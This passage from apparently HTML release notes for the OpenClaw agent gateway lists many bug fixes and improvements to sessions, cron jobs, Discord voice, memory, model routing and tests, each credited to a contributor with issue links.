<p>Gateway: emit plugin <code>session_end</code>/<code>session_start</code> hooks when <code>agent.send</code> rotates or replaces a session id, keeping hook lifecycle state aligned with <code>sessions.changed</code> notifications. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467265613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83507" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83507/hovercard" href="https://github.com/openclaw/openclaw/issues/83507">#83507</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509963144" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85875/hovercard" href="https://github.com/openclaw/openclaw/pull/85875">#85875</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>OpenShell/SSH: reject malformed generated exec commands before sandbox/session setup so unresolved workflow placeholders fail fast instead of reaching the remote shell. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332058570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72373" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72373/hovercard" href="https://github.com/openclaw/openclaw/issues/72373">#72373</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Google: stop normalizing <code>gemini-3.1-flash-lite</code> to the retired preview endpoint and update Flash Lite alias guidance to the GA model id. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512418235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86151" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86151/hovercard" href="https://github.com/openclaw/openclaw/issues/86151">#86151</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513395718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86240" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86240/hovercard" href="https://github.com/openclaw/openclaw/pull/86240">#86240</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Installer: make Alpine apk installs cover Git, verify the Node runtime floor, try <code>nodejs-current</code>, and report Alpine version guidance when repositories only provide older Node packages.</p>
</li>
<li>
<p>Agents/status: prefer the active Claude CLI OAuth auth label over an unused Anthropic env API-key label for equivalent runtime aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415131122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80184" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80184/hovercard" href="https://github.com/openclaw/openclaw/issues/80184">#80184</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518344489" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86570" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86570/hovercard" href="https://github.com/openclaw/openclaw/pull/86570">#86570</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Agents/media: send direct fallback for generated media still missing after an active requester wake fails. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505148850" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85489" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85489/hovercard" href="https://github.com/openclaw/openclaw/pull/85489">#85489</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents: derive overflow compaction budgets from provider-reported and synthetic over-budget token counts so confirmed context overflows compact before retrying. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: recover Codex context-window prompt errors through overflow compaction and surface reset guidance when recovery is exhausted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: allow Codex app-server runs to bootstrap from <code>CODEX_API_KEY</code> or <code>OPENAI_API_KEY</code> when no Codex auth profile is configured.</p>
</li>
<li>
<p>Agents/Codex: keep selected Codex runtime routing on OpenAI-Codex while preserving direct OpenAI API-key compaction fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/funmerlin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/funmerlin">@funmerlin</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</p>
</li>
<li>
<p>Agent transcript: include OpenClaw agent session logs when finding local transcript candidates.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands wrapped in absolute <code>time</code> paths so RSS probes can run Node and pnpm on fresh macOS runners.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands even when setup statements precede Node or pnpm usage.</p>
</li>
<li>
<p>TUI/local: skip unnecessary secret resolution, gateway model catalog loading, bootstrap, and skill scans in explicit local-model runs so startup reaches the model request faster.</p>
</li>
<li>
<p>Sessions/doctor: load large session stores without clone amplification during read-only doctor checks and reclaim stale <code>sessions.json.*.tmp</code> sidecars. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162810373" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56827/hovercard" href="https://github.com/openclaw/openclaw/issues/56827">#56827</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Tests: clean successful plugin gateway gauntlet isolated temp roots while keeping an explicit preservation switch for failed/debug runs.</p>
</li>
<li>
<p>Plugins/perf: reuse derived plugin metadata snapshots for the lifetime of the process so reply-time skill setup no longer rescans plugin metadata on every turn.</p>
</li>
<li>
<p>Discord/OpenAI voice: keep wake-name master consults using the current speaker context after ignored ambient transcripts and shorten the default capture silence grace.</p>
</li>
<li>
<p>Doctor: skip redundant Gateway restart prompts when a recent supervisor restart leaves the Gateway healthy. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517583554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86518" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86518/hovercard" href="https://github.com/openclaw/openclaw/issues/86518">#86518</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Cron: restore suspended cron lanes to the configured/default concurrency instead of falling back to one after quota or circuit-breaker auto-resume.</p>
</li>
<li>
<p>Gateway: keep session-only Control UI tool-start mirrors flowing during diagnostic queue pressure instead of silently dropping non-terminal tool updates.</p>
</li>
<li>
<p>Agents/memory: return optional not-found context for missing date-only daily memory reads instead of logging benign first-run <code>ENOENT</code> failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Discord: merge streamed text captions into following media block replies so captions and attachments send as one message. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Gateway: avoid sending duplicate tool-event frames to Control UI connections that are subscribed by both run and session.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept broader edge-position fuzzy wake-name transcripts while keeping ambient speech gated.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept longer leading wake-name mistranscripts such as "Open Club" for OpenClaw.</p>
</li>
<li>
<p>Agents/OpenAI-compatible: stop ModelStudio-compatible chat requests before sending system/tool-only payloads that have no usable user or assistant turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512668599" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86177" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86177/hovercard" href="https://github.com/openclaw/openclaw/pull/86177">#86177</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Gateway/plugins: reuse plugin package realpath checks while building installed plugin indexes so startup avoids repeated filesystem resolution work.</p>
</li>
<li>
<p>Kilo Gateway: send string <code>stop</code> sequences as arrays so Kilo accepts OpenAI-compatible chat completions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516690908" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86461" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86461/hovercard" href="https://github.com/openclaw/openclaw/pull/86461">#86461</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept leading fuzzy wake-name transcripts such as "Monty" or "Moti" for a Molty agent while keeping ambient speech gated.</p>
</li>
<li>
<p>Media understanding: convert HEIC and HEIF images to JPEG before image description providers run so iPhone photos work in direct and configured image-description flows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>)</p>
</li>
<li>
<p>Agents: release embedded-attempt session locks from outer teardown so post-prompt exceptions cannot wedge later requests behind <code>SessionWriteLockTimeoutError</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: rotate Realtime sessions at provider max duration without logging the expected session-expiry event as an error.</p>
</li>
<li>
<p>Sessions: skip metadata-only entries during QMD-slugified session lookup so one incomplete row does not block transcript hit resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514294799" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86327/hovercard" href="https://github.com/openclaw/openclaw/pull/86327">#86327</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abnershang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abnershang">@abnershang</a>.</p>
</li>
<li>
<p>Agents/media: derive bundled plugin local-media trust from plugin tool metadata instead of importing the full plugin registry on subscription paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482773792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84409" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84409/hovercard" href="https://github.com/openclaw/openclaw/pull/84409">#84409</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</p>
</li>
<li>
<p>Image tool: keep config-backed custom-provider API keys usable for auto-discovered vision models, including deferred image-tool execution without env keys or auth profiles. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508451345" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85733" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85733/hovercard" href="https://github.com/openclaw/openclaw/pull/85733">#85733</a>)</p>
</li>
<li>
<p>Memory/local embeddings: run local GGUF embeddings in an isolated worker sidecar and degrade to configured fallback or keyword search on worker failure so native embedding crashes do not take down the Gateway. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502468683" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85348" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85348/hovercard" href="https://github.com/openclaw/openclaw/pull/85348">#85348</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/osolmaz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/osolmaz">@osolmaz</a>.</p>
</li>
<li>
<p>Gateway: clear the runtime config snapshot before <code>SIGUSR1</code> in-process restarts so config changes survive the next gateway loop. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515407785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86388" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86388/hovercard" href="https://github.com/openclaw/openclaw/pull/86388">#86388</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/XuZehan-iCenter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/XuZehan-iCenter">@XuZehan-iCenter</a>.</p>
</li>
<li>
<p>Models: show OAuth delegation markers as configured <code>models.json</code> auth while keeping runtime route usability checks strict. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515241861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86378/hovercard" href="https://github.com/openclaw/openclaw/pull/86378">#86378</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rohitjavvadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rohitjavvadi">@rohitjavvadi</a>.</p>
</li>
<li>
<p>Cron: seed active scheduled and manual cron task rows with a progress summary so status surfaces do not look blank while jobs run. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514058569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86313" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86313/hovercard" href="https://github.com/openclaw/openclaw/pull/86313">#86313</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Cron: preserve unsupported persisted cron payload rows during routine store writes while keeping those rows non-runnable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493956816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84922" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84922/hovercard" href="https://github.com/openclaw/openclaw/issues/84922">#84922</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515779319" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86415" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86415/hovercard" href="https://github.com/openclaw/openclaw/pull/86415">#86415</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</p>
</li>
<li>
<p>Updater: exclude prerelease git tags from stable channel resolution so source updates do not check out newer alpha/rc/preview/canary tags. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>Security/Audit: flag webhook <code>hooks.token</code> reuse of active Gateway password auth in <code>openclaw security audit</code> while keeping password-mode startup compatibility. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481368290" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84338" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84338/hovercard" href="https://github.com/openclaw/openclaw/pull/84338">#84338</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coygeek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coygeek">@coygeek</a>.</p>
</li>
<li>
<p>QQBot: derive the outbound reply watchdog from configured agent and provider timeouts so slow local model replies are not cut off at five minutes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500714861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85267" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85267/hovercard" href="https://github.com/openclaw/openclaw/issues/85267">#85267</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500805571" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85271" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85271/hovercard" href="https://github.com/openclaw/openclaw/pull/85271">#85271</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</p>
</li>
<li>
<p>Agents/heartbeat: stop heartbeat turns after the first valid <code>heartbeat_respond</code> so repeated response loops do not burn tokens. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514870807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86357/hovercard" href="https://github.com/openclaw/openclaw/pull/86357">#86357</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/udaymanish6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/udaymanish6">@udaymanish6</a>.</p>
</li>
<li>
<p>Tasks: keep retained lost tasks out of default status health counts, explain their cleanup window during maintenance, and prune lost task records after 24 hours instead of the general 7-day terminal retention.</p>
</li>
<li>
<p>Memory-core: keep REM dreaming focused on live light-staged memories and mark staged entries as considered so old recall history no longer dominates fresh candidates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513935517" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86302" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86302/hovercard" href="https://github.com/openclaw/openclaw/pull/86302">#86302</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Memory: abort sync instead of downgrading an existing semantic vector index to FTS-only when the configured embedding provider is temporarily unavailable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Telegram: propagate forum topic names through the account-scoped topic cache for native command context and topic create/edit actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Slack: keep downloaded read-only files out of reply media so Slack file reads do not echo files back to the conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Cron: accept leading-plus relative durations such as <code>+5m</code> for one-shot <code>--at</code> schedules. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514566090" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86341/hovercard" href="https://github.com/openclaw/openclaw/pull/86341">#86341</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>.</p>
</li>
<li>
<p>Agents/media: preserve async-started media tool metadata so background generation starts no longer surface generic incomplete-turn warnings while replay stays unsafe. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510559084" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85933" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85933/hovercard" href="https://github.com/openclaw/openclaw/pull/85933">#85933</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Docker E2E: dedupe scheduler lane resources so npm/service package lanes are not over-counted and serialized unnecessarily.</p>
</li>
<li>
<p>QA/diagnostics: add a collector-backed OpenTelemetry smoke lane, make the OTLP payload leak check scenario-aware, and keep source QA builds from failing on optional dependency imports resolved through pnpm's temp module path.</p>
</li>
<li>
<p>Crabbox: bootstrap Git metadata for sparse remote changed gates so raw synced workspaces can run <code>pnpm check:changed</code> from the intended diff.</p>
</li>
<li>
<p>xAI/LM Studio: avoid buffering ordinary bracketed or <code>final</code> prose until stream completion while watching for plain-text tool-call fallbacks.</p>
</li>
<li>
<p>Doctor: warn and continue when the cron job store exists but cannot be read so later health checks still run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512146374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86102" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86102/hovercard" href="https://github.com/openclaw/openclaw/issues/86102">#86102</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1052326311/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1052326311">@1052326311</a>.</p>
</li>
<li>
<p>Discord: suppress a bot's previous reply body and referenced media from prompt context when a user replies to that bot message, while keeping reply metadata for routing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Discord: restore bare numeric channel IDs for outbound message-tool sends while keeping explicit DM targets unambiguous. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Docker E2E: avoid rebuilding the Control UI twice while preparing the shared OpenClaw package tarball for package-backed scenario runs.</p>
</li>
<li>
<p>Tests: avoid rebuilding the Control UI twice during the installer Docker smoke now that <code>pnpm build</code> includes <code>ui:build</code>.</p>
</li>
<li>
<p>Tests: give QA config mutation RPCs enough native Windows budget to finish gateway config writes and restart settle after hot scenario runs.</p>
</li>
<li>
<p>Tests: keep the gateway restart-inflight QA scenario focused on restart recovery on native Windows by allowing expected embedded prompt handoff errors and using the Windows-safe timeout budget.</p>
</li>
<li>
<p>QA-Lab: make the synthetic OpenAI provider honor generic <code>reply exactly:</code> directives after required kickoff reads so restart-recovery scenarios do not fall through to generic repo-summary prose.</p>
</li>
<li>
<p>Gateway: abort active <code>agent</code> RPC runs during forced restart shutdown so stale in-process turns cannot keep writing a session after the Gateway lifecycle restarts.</p>
</li>
<li>
